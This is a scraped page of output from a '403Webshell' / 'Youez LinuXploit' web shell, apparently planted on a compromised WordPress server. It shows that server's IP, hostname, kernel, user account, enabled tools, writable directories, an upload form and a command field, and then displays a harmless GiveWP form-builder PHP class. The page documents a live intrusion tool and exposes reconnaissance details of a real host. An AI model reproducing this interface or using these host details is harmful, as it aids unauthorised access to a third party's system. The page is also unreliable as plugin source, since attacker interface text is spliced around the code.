403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.16.147.165
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/7779/task/7779/cwd/plugins/give/src/FormBuilder/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/7779/task/7779/cwd/plugins/give/src/FormBuilder/FormBuilderRouteBuilder.php
<?php

namespace Give\FormBuilder;

class FormBuilderRouteBuilder
{
    const SLUG = 'givewp-form-builder';

    /**
     * @var int|string
     */
    protected $donationFormID;

    /**
     * @since 3.0.0
     *
     * @param  int|string  $donationFormID
     */
    protected function __construct($donationFormID)
    {
        $this->donationFormID = $donationFormID;
    }

    /**
     * @since 3.0.0
     */
    public static function makeCreateFormRoute(): self
    {
        // @todo Refactor create route so as not to mix types for $donationFormID.
        return new self('new');
    }

    /**
     * @since 3.0.0
     */
    public static function makeEditFormRoute(int $donationFormID): self
    {
        return new self($donationFormID);
    }

    /**
     * @since 3.0.0
     */
    public function __toString()
    {
        return $this->getUrl();
    }

    /**
     * @since 3.0.0
     */
    public function getUrl(): string
    {
        return add_query_arg(
            [
                'post_type' => 'give_forms',
                'page' => self::SLUG,
                'donationFormID' => $this->donationFormID,
            ],
            admin_url('edit.php')
        );
    }

    /**
     * @since 3.0.0
     */
    public static function isRoute(): bool
    {
        return isset($_GET['post_type'], $_GET['page']) && $_GET['post_type'] === 'give_forms' && $_GET['page'] === self::SLUG;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit